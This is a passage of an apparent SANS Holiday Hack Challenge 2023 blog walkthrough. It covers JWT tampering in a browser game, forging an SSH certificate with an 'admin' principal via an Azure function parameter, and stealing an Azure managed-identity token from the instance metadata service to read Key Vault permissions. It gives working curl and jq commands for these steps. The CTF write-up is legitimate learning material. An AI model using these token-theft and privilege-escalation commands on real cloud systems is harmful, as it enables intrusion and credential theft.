      &lt;td&gt;Security Protocol Briefing&lt;/td&gt;
      &lt;td&gt;Phishing&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;laura.moore@geeseislands.com&lt;/td&gt;
      &lt;td&gt;Coral Reef Study Findings&lt;/td&gt;
      &lt;td&gt;Safe&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;michael.roberts@geeseislands.com&lt;/td&gt;
      &lt;td&gt;Compliance Training Schedule Announcement&lt;/td&gt;
      &lt;td&gt;Phishing&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;michael.taylor@geeseislands.com&lt;/td&gt;
      &lt;td&gt;Project Management Best Practices&lt;/td&gt;
      &lt;td&gt;Safe&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;nancy.wilson@geeseislands.com&lt;/td&gt;
      &lt;td&gt;Client Engagement Enhancements&lt;/td&gt;
      &lt;td&gt;Safe&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;nancy@geeseislands.com&lt;/td&gt;
      &lt;td&gt;Public Relations Strategy Meet&lt;/td&gt;
      &lt;td&gt;Phishing&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;oliver.hill@geeseislands.com&lt;/td&gt;
      &lt;td&gt;Supply Chain Optimization Initiatives&lt;/td&gt;
      &lt;td&gt;Safe&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;oliver.thomas@geeseislands.com&lt;/td&gt;
      &lt;td&gt;New Research Project Kickoff&lt;/td&gt;
      &lt;td&gt;Phishing&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;patricia.johnson@geeseislands.com&lt;/td&gt;
      &lt;td&gt;Communication Skills Workshop&lt;/td&gt;
      &lt;td&gt;Safe&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;quentin.adams@geeseislands.com&lt;/td&gt;
      &lt;td&gt;Quality Assurance Protocols Meeting&lt;/td&gt;
      &lt;td&gt;Safe&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;quincy.adams@geeseislands.com&lt;/td&gt;
      &lt;td&gt;Networking Event Success Strategies&lt;/td&gt;
      &lt;td&gt;Phishing&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;rachel.baker@geeseislands.com&lt;/td&gt;
      &lt;td&gt;Production Milestones Meeting&lt;/td&gt;
      &lt;td&gt;Safe&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;rachel.brown@geeseislands.com&lt;/td&gt;
      &lt;td&gt;Customer Feedback Analysis Meeting&lt;/td&gt;
      &lt;td&gt;Phishing&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;steven.clark@geeseislands.com&lt;/td&gt;
      &lt;td&gt;Employee Wellbeing Workshop&lt;/td&gt;
      &lt;td&gt;Safe&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;steven.gray@geeseislands.com&lt;/td&gt;
      &lt;td&gt;Procurement Process Improvements&lt;/td&gt;
      &lt;td&gt;Phishing&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;teresa.green@geeseislands.com&lt;/td&gt;
      &lt;td&gt;Financial Planning for 2024&lt;/td&gt;
      &lt;td&gt;Safe&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;uma.foster@geeseislands.com&lt;/td&gt;
      &lt;td&gt;Operational Efficiency Review&lt;/td&gt;
      &lt;td&gt;Safe&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;ursula.morris@geeseislands.com&lt;/td&gt;
      &lt;td&gt;Legal Team Expansion Strategy&lt;/td&gt;
      &lt;td&gt;Phishing&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;victor.davis@geeseislands.com&lt;/td&gt;
      &lt;td&gt;Invitation to Research Grant Meeting&lt;/td&gt;
      &lt;td&gt;Phishing&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;victor.harris@geeseislands.com&lt;/td&gt;
      &lt;td&gt;IT Security Update&lt;/td&gt;
      &lt;td&gt;Safe&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;wendy.mitchell@geeseislands.com&lt;/td&gt;
      &lt;td&gt;Holiday Marketing Brainstorm&lt;/td&gt;
      &lt;td&gt;Safe&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;xavier.edwards@geeseislands.com&lt;/td&gt;
      &lt;td&gt;Year-End Sales Target Strategies&lt;/td&gt;
      &lt;td&gt;Safe&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;xavier.jones@geeseislands.com&lt;/td&gt;
      &lt;td&gt;Urgent IT Security Update&lt;/td&gt;
      &lt;td&gt;Phishing&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;yvonne.jackson@geeseislands.com&lt;/td&gt;
      &lt;td&gt;Enhancing Client Relationships Workshop&lt;/td&gt;
      &lt;td&gt;Safe&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;Once complete, we are awarded &lt;strong&gt;Objective 14&lt;/strong&gt;&lt;/p&gt;

&lt;h1 id=&quot;pixel-island&quot;&gt;Pixel Island&lt;/h1&gt;

&lt;p&gt;&lt;img src=&quot;/blog/assets/24KK-Pixel-island.png&quot; alt=&quot;Pixel Island&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;drift-bit-grotto&quot;&gt;Drift Bit Grotto&lt;/h2&gt;

&lt;p&gt;&lt;img src=&quot;/blog/assets/24KK-driftbit.png&quot; alt=&quot;Driftbit&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;characters-11&quot;&gt;Characters&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;Tinsel Upatree&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;other-2&quot;&gt;Other&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;gameboy cartridge 2 Elf the Dwarf’s, Gloriously, Unfinished, Adventure! - Vol2&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;rainraster-cliffs&quot;&gt;Rainraster Cliffs&lt;/h2&gt;

&lt;h3 id=&quot;characters-12&quot;&gt;Characters&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;Goose of Pixel Island&lt;/li&gt;
  &lt;li&gt;Piney sappington&lt;/li&gt;
  &lt;li&gt;Alabaster snowball&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;elf-hunt&quot;&gt;Elf Hunt&lt;/h3&gt;

&lt;p&gt;&lt;img src=&quot;/blog/assets/24KK-Elfhunt.png&quot; alt=&quot;ELfhunt&quot; /&gt;&lt;/p&gt;

&lt;h4 id=&quot;hints-6&quot;&gt;Hints&lt;/h4&gt;

&lt;ul&gt;
  &lt;li&gt;JWT hack
    &lt;ul&gt;
      &lt;li&gt;Not protected change speed&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So we can use an intercepting proxy (like burp) to intercept the requests.&lt;/p&gt;

&lt;p&gt;We can extract and decode JWT tokens at &lt;a href=&quot;https://jwt.io&quot;&gt;JWT.io&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/blog/assets/24KK-ELfhunt-jwt.png&quot; alt=&quot;Elf hunt jwt&quot; /&gt;&lt;/p&gt;

&lt;p&gt;JWT contained:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;{
	&quot;speed&quot;:-500
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Just tamper with this value, and replace the in-game token usuing the intercepting proxy until the game is playable!&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;{ &quot;speed&quot;:-100}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We can tamper with the value, through an intercepting proxy, or altering the cookie via the console:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/blog/assets/24KK-Elfhunt-console.png&quot; alt=&quot;elfhunt console&quot; /&gt;&lt;/p&gt;

&lt;p&gt;They should be easier to hit, once we reach 75, the game is complete!&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Objective 16 Completed!&lt;/strong&gt;&lt;/p&gt;

&lt;h3 id=&quot;sshenanigans&quot;&gt;SSHenanigans&lt;/h3&gt;

&lt;p&gt;Certificate SSHenanigans - Part 1 aka SSH Madness&lt;/p&gt;

&lt;h4 id=&quot;hints-7&quot;&gt;Hints&lt;/h4&gt;

&lt;ul&gt;
  &lt;li&gt;ssh-server-vm.santaworkshopgeeseislands.org&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://northpole-ssh-certs-fa.azurewebsites.net/api/create-cert?code=candy-cane-twirl&quot;&gt;Azure Functions App&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Generate yourself a certificate and use the monitor account to access the host. See if you can grab my TODO list.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/rest/api/appservice/web-apps/get-source-control&quot;&gt;MS API Get-source-code&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&quot;starting-the-challenge&quot;&gt;Starting the challenge&lt;/h4&gt;

&lt;p&gt;&lt;a href=&quot;https://northpole-ssh-certs-fa.azurewebsites.net/api/create-cert?code=candy-cane-twirl&quot;&gt;https://northpole-ssh-certs-fa.azurewebsites.net/api/create-cert?code=candy-cane-twirl&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Ok so using the URL above, if we insert our public key it will sign it, and do some backend magic? automatically due to it being signed by the servers CA.&lt;/p&gt;

&lt;p&gt;I generated a new ed25519 key just for this challenge : id_ed25519; id_ed25519.pub&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;ssh-keygen -t ed25519
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Simple script - generated by chatgpt to help generate the signed cert inorder to sign in:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;awk '{print $1, $2}' ./id_ed25519.pub | sed 's/ /&quot;: &quot;/' | sed 's/^/{&quot;/' | sed 's/$/&quot;}/' | sed 's/ssh-ed25519/ssh_pub_key/' |sed 's/: &quot;/: &quot;ssh-ed25519 /' &amp;gt; postme

curl -X POST -H &quot;Content-Type: application/json&quot; -d @postme 'https://northpole-ssh-certs-fa.azurewebsites.net/api/create-cert?code=candy-cane-twirl' | \
jq -r .ssh_cert &amp;gt; id_ed25519-cert.pub
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Our returned string is formatted in json, copy contents of ssh_cert into a new file id_ed25519-cert.pub&lt;/p&gt;

&lt;p&gt;Now, we can ssh into the server:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;ssh monitor@ssh-server-vm.santaworkshopgeeseislands.org
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Then look for a privilege escaltion, since it is an SSH challenge, lets check the SSH conf!&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;monitor@ssh-server-vm:~$ ls -la /etc/ssh/auth_principals/
total 16
drwxr-xr-x 1 root root 4096 Nov  7 21:37 .
drwxr-xr-x 1 root root 4096 Nov  9 14:07 ..
-rw-r--r-- 1 root root    6 Nov  7 21:37 alabaster
-rw-r--r-- 1 root root    4 Nov  7 21:37 monitor
monitor@ssh-server-vm:~$ cat /etc/ssh/auth_principals/monitor
elf
monitor@ssh-server-vm:~$ cat /etc/ssh/auth_principals/alabaster
admin
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This confirms the principals… If we can get a principal of admin we should be able to log in as alabaster!&lt;/p&gt;

&lt;h4 id=&quot;method-1---lucky-guess&quot;&gt;Method 1 - Lucky Guess?&lt;/h4&gt;

&lt;p&gt;From the pentest report we know the azure function has an issue around the undocumented feature/parameter &lt;strong&gt;sign-principal&lt;/strong&gt; ?&lt;/p&gt;

&lt;p&gt;Doesn’t work? hmmmm…..&lt;/p&gt;

&lt;p&gt;Maybe it got renamed to principal….&lt;/p&gt;

&lt;p&gt;We can spoof principal!!!!&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;sh -i ./id_ed25519 alabaster@ssh-server-vm.santaworkshopgeeseislands.org
Warning: No xauth data; using fake authentication data for X11 forwarding.
X11 forwarding request failed on channel 0
Last login: Wed Dec  6 21:19:36 2023 from 71.205.47.251
alabaster@ssh-server-vm:~$ id
uid=1000(alabaster) gid=1000(alabaster) groups=1000(alabaster),1002(sshallow)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h4 id=&quot;method-2---use-the-source-luke&quot;&gt;Method 2 - Use the source (Luke…)&lt;/h4&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;curl http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&amp;amp;resource=
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;subscriptions: 2b0942f3-9bca-484b-a508-abdae2db5e64&lt;/li&gt;
  &lt;li&gt;resourceGroups: northpole-rg1&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;then we can build the API URL&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;https://management.azure.com/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.Web/sites/northpole-ssh-certs-fa/sourcecontrols/web\?api-version=2022-03-01&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;But, first, we need an access_token:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;export ACCESS_TOKEN=$(curl -H Metadata:true &quot;http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&amp;amp;resource=https%3A%2F%2Fmanagement.azure.com&quot; -s | jq -r .access_token)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;export our subscriptionId and resourceGroup into env’s:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;export subscriptionId=2b0942f3-9bca-484b-a508-abdae2db5e64
export resourceGroup=northpole-rg1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;curl -H 'Authorization: Bearer '$ACCESS_TOKEN https://management.azure.com/subscriptions/$subscriptionId/resourceGroups/$resourceGroup/providers/Microsoft.Web/sites/northpole-ssh-certs-fa/sourcecontrols/web\?api-version\=2022-03-01
{&quot;id&quot;:&quot;/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.Web/sites/northpole-ssh-certs-fa/sourcecontrols/web&quot;,&quot;name&quot;:&quot;northpole-ssh-certs-fa&quot;,&quot;type&quot;:&quot;Microsoft.Web/sites/sourcecontrols&quot;,&quot;location&quot;:&quot;East US&quot;,&quot;tags&quot;:{&quot;project&quot;:&quot;northpole-ssh-certs&quot;,&quot;create-cert-func-url-path&quot;:&quot;/api/create-cert?code=candy-cane-twirl&quot;},&quot;properties&quot;:{&quot;repoUrl&quot;:&quot;https://github.com/SantaWorkshopGeeseIslandsDevOps/northpole-ssh-certs-fa&quot;,&quot;branch&quot;:&quot;main&quot;,&quot;isManualIntegration&quot;:false,&quot;isGitHubAction&quot;:true,&quot;deploymentRollbackEnabled&quot;:false,&quot;isMercurial&quot;:false,&quot;provisioningState&quot;:&quot;Succeeded&quot;,&quot;gitHubActionConfiguration&quot;:{&quot;codeConfiguration&quot;:null,&quot;containerConfiguration&quot;:null,&quot;isLinux&quot;:true,&quot;generateWorkflowFile&quot;:true,&quot;workflowSettings&quot;:{&quot;appType&quot;:&quot;functionapp&quot;,&quot;publishType&quot;:&quot;code&quot;,&quot;os&quot;:&quot;linux&quot;,&quot;variables&quot;:{&quot;runtimeVersion&quot;:&quot;3.11&quot;},&quot;runtimeStack&quot;:&quot;python&quot;,&quot;workflowApiVersion&quot;:&quot;2020-12-01&quot;,&quot;useCanaryFusionServer&quot;:false,&quot;authType&quot;:&quot;publishprofile&quot;}}}}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And we can extract the following publicly available URL:
&lt;a href=&quot;https://github.com/SantaWorkshopGeeseIslandsDevOps/northpole-ssh-certs-fa/blob/main/function_app.py&quot;&gt;Northpile-ssh-certs-fa&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Read the code, realise theres an extra parameter that can get submitted&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;principal&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Use burp intercept the request, add&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;, &quot;principal&quot;:&quot;admin&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Forward on the request.&lt;/p&gt;

&lt;p&gt;Extract the signed ssh cert and repeat what we did earlier….&lt;/p&gt;

&lt;p&gt;simple script:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;awk '{print &quot;{\&quot;ssh_pub_key\&quot;: \&quot;&quot; $3 &quot;\&quot;, \&quot;principal\&quot;: \&quot;admin\&quot;}&quot;}' ./id_ed25519.pub | \
jq -c '. + {&quot;principal&quot;: &quot;admin&quot;}' &amp;gt; postme_admin

curl -X POST -H &quot;Content-Type: application/json&quot; -d @postme_admin \
'https://northpole-ssh-certs-fa.azurewebsites.net/api/create-cert?code=candy-cane-twirl' | \
jq -r .ssh_cert &amp;gt; id_ed25519-cert.pub
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h4 id=&quot;once-logged-in-as-alabaster&quot;&gt;Once logged in as alabaster…&lt;/h4&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;❯ ssh -i ./id_ed25519 alabaster@ssh-server-vm.santaworkshopgeeseislands.org
Warning: No xauth data; using fake authentication data for X11 forwarding.
X11 forwarding request failed on channel 0
Last login: Wed Dec  6 21:19:36 2023 from 71.205.47.251
alabaster@ssh-server-vm:~$ id
uid=1000(alabaster) gid=1000(alabaster) groups=1000(alabaster),1002(sshallow)
alabaster@ssh-server-vm:~$ ls -la
total 36
drwx------ 1 alabaster alabaster 4096 Nov  9 14:07 .
drwxr-xr-x 1 root      root      4096 Nov  3 16:50 ..
-rw-r--r-- 1 alabaster alabaster  220 Apr 23  2023 .bash_logout
-rw-r--r-- 1 alabaster alabaster 3665 Nov  9 17:03 .bashrc
drwxr-xr-x 3 alabaster alabaster 4096 Nov  9 14:07 .cache
-rw-r--r-- 1 alabaster alabaster  807 Apr 23  2023 .profile
drwxr-xr-x 6 alabaster alabaster 4096 Nov  9 14:07 .venv
-rw------- 1 alabaster alabaster 1126 Nov  9 14:07 alabaster_todo.md
drwxr-xr-x 2 alabaster alabaster 4096 Nov  9 14:07 impacket
alabaster@ssh-server-vm:~$ cat alabaster_todo.md
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;geese-islands-it--security-todo-list&quot;&gt;Geese Islands IT &amp;amp; Security Todo List&lt;/h3&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;- [X] Sleigh GPS Upgrade: Integrate the new &quot;Island Hopper&quot; module into Santa's sleigh GPS. Ensure Rudolph's red nose doesn't interfere with the signal.
- [X] Reindeer Wi-Fi Antlers: Test out the new Wi-Fi boosting antler extensions on Dasher and Dancer. Perfect for those beach-side internet browsing sessions.
- [ ] Palm Tree Server Cooling: Make use of the island's natural shade. Relocate servers under palm trees for optimal cooling. Remember to watch out for falling coconuts!
- [ ] Eggnog Firewall: Upgrade the North Pole's firewall to the new EggnogOS version. Ensure it blocks any Grinch-related cyber threats effectively.
- [ ] Gingerbread Cookie Cache: Implement a gingerbread cookie caching mechanism to speed up data retrieval times. Don't let Santa eat the cache!
- [ ] Toy Workshop VPN: Establish a secure VPN tunnel back to the main toy workshop so the elves can securely access to the toy blueprints.
- [ ] Festive 2FA: Roll out the new two-factor authentication system where the second factor is singing a Christmas carol. Jingle Bells is said to be the most secure.
alabaster@ssh-server-vm:~$
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Objective 17 complete&lt;/strong&gt;&lt;/p&gt;

&lt;h3 id=&quot;ad-challenge&quot;&gt;AD challenge&lt;/h3&gt;

&lt;p&gt;SSHenanigans - Part 2 aka The Active Directory Review&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;curl -H Metadata:true http://169.254.169.254/metadata/instance?api-version=2021-02-01|jq -r .

{
  &quot;compute&quot;: {
    &quot;azEnvironment&quot;: &quot;AzurePublicCloud&quot;,
    &quot;customData&quot;: &quot;&quot;,
    &quot;evictionPolicy&quot;: &quot;&quot;,
    &quot;isHostCompatibilityLayerVm&quot;: &quot;false&quot;,
    &quot;licenseType&quot;: &quot;&quot;,
    &quot;location&quot;: &quot;eastus&quot;,
    &quot;name&quot;: &quot;ssh-server-vm&quot;,
    &quot;offer&quot;: &quot;&quot;,
    &quot;osProfile&quot;: {
      &quot;adminUsername&quot;: &quot;&quot;,
      &quot;computerName&quot;: &quot;&quot;,
      &quot;disablePasswordAuthentication&quot;: &quot;&quot;
    },
    &quot;osType&quot;: &quot;Linux&quot;,
    &quot;placementGroupId&quot;: &quot;&quot;,
    &quot;plan&quot;: {
      &quot;name&quot;: &quot;&quot;,
      &quot;product&quot;: &quot;&quot;,
      &quot;publisher&quot;: &quot;&quot;
    },
    &quot;platformFaultDomain&quot;: &quot;0&quot;,
    &quot;platformUpdateDomain&quot;: &quot;0&quot;,
    &quot;priority&quot;: &quot;&quot;,
    &quot;provider&quot;: &quot;Microsoft.Compute&quot;,
    &quot;publicKeys&quot;: [],
    &quot;publisher&quot;: &quot;&quot;,
    &quot;resourceGroupName&quot;: &quot;northpole-rg1&quot;,
    &quot;resourceId&quot;: &quot;/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.Compute/virtualMachines/ssh-server-vm&quot;,
    &quot;securityProfile&quot;: {
      &quot;secureBootEnabled&quot;: &quot;false&quot;,
      &quot;virtualTpmEnabled&quot;: &quot;false&quot;
    },
    &quot;sku&quot;: &quot;&quot;,
    &quot;storageProfile&quot;: {
      &quot;dataDisks&quot;: [],
      &quot;imageReference&quot;: {
        &quot;id&quot;: &quot;&quot;,
        &quot;offer&quot;: &quot;&quot;,
        &quot;publisher&quot;: &quot;&quot;,
        &quot;sku&quot;: &quot;&quot;,
        &quot;version&quot;: &quot;&quot;
      },
      &quot;osDisk&quot;: {
        &quot;caching&quot;: &quot;ReadWrite&quot;,
        &quot;createOption&quot;: &quot;Attach&quot;,
        &quot;diffDiskSettings&quot;: {
          &quot;option&quot;: &quot;&quot;
        },
        &quot;diskSizeGB&quot;: &quot;30&quot;,
        &quot;encryptionSettings&quot;: {
          &quot;enabled&quot;: &quot;false&quot;
        },
        &quot;image&quot;: {
          &quot;uri&quot;: &quot;&quot;
        },
        &quot;managedDisk&quot;: {
          &quot;id&quot;: &quot;/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.Compute/disks/ssh-server-vm_os_disk&quot;,
          &quot;storageAccountType&quot;: &quot;Standard_LRS&quot;
        },
        &quot;name&quot;: &quot;ssh-server-vm_os_disk&quot;,
        &quot;osType&quot;: &quot;Linux&quot;,
        &quot;vhd&quot;: {
          &quot;uri&quot;: &quot;&quot;
        },
        &quot;writeAcceleratorEnabled&quot;: &quot;false&quot;
      },
      &quot;resourceDisk&quot;: {
        &quot;size&quot;: &quot;38912&quot;
      }
    },
    &quot;subscriptionId&quot;: &quot;2b0942f3-9bca-484b-a508-abdae2db5e64&quot;,
    &quot;tags&quot;: &quot;Project:HHC23&quot;,
    &quot;tagsList&quot;: [
      {
        &quot;name&quot;: &quot;Project&quot;,
        &quot;value&quot;: &quot;HHC23&quot;
      }
    ],
    &quot;userData&quot;: &quot;&quot;,
    &quot;version&quot;: &quot;&quot;,
    &quot;vmId&quot;: &quot;dc64208e-c208-446d-8288-7f2488035e34&quot;,
    &quot;vmScaleSetName&quot;: &quot;&quot;,
    &quot;vmSize&quot;: &quot;Standard_B2s&quot;,
    &quot;zone&quot;: &quot;&quot;
  },
  &quot;network&quot;: {
    &quot;interface&quot;: [
      {
        &quot;ipv4&quot;: {
          &quot;ipAddress&quot;: [
            {
              &quot;privateIpAddress&quot;: &quot;10.0.0.50&quot;,
              &quot;publicIpAddress&quot;: &quot;&quot;
            }
          ],
          &quot;subnet&quot;: [
            {
              &quot;address&quot;: &quot;10.0.0.0&quot;,
              &quot;prefix&quot;: &quot;24&quot;
            }
          ]
        },
        &quot;ipv6&quot;: {
          &quot;ipAddress&quot;: []
        },
        &quot;macAddress&quot;: &quot;7C1E520227A2&quot;
      }
    ]
  }
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We know our privateIpAddress: “10.0.0.50”,&lt;/p&gt;

&lt;p&gt;We know we are on a cloud instance, next we try to grab an Azure API Access Token from the Meta-data service:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;ACCESS_TOKEN=$(curl -H Metadata:true &quot;http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&amp;amp;resource=https%3A%2F%2Fmanagement.azure.com&quot; -s | jq -r .access_token)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Next, we set some other important variables as ENVs:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;export subscriptionId=2b0942f3-9bca-484b-a508-abdae2db5e64
export resourceGroup=northpole-rg1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Next we need to check our API permissions:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ curl -H 'Authorization: Bearer '$ACCESS_TOKEN https://management.azure.com/subscriptions/$subscriptionId/resourcegroups/$resourceGroup/providers/Microsoft.Authorization/permissions\?api-version\=2022-04-01
{&quot;value&quot;:[{&quot;actions&quot;:[&quot;Microsoft.KeyVault/vaults/read&quot;,&quot;Microsoft.KeyVault/vaults/secrets/read&quot;,&quot;Microsoft.Web/sites/sourcecontrols/Read&quot;,&quot;microsoft.web/sites/functions/read&quot;,&quot;Microsoft.Resources/subscriptions/resourceGroups/read&quot;],&quot;notActions&quot;:[],&quot;dataActions&quot;:[&quot;Microsoft.KeyVault/vaults/secrets/getSecret/action&quot;,&quot;Microsoft.KeyVault/vaults/secrets/readMetadata/action&quot;],&quot;notDataActions&quot;:[]}]}
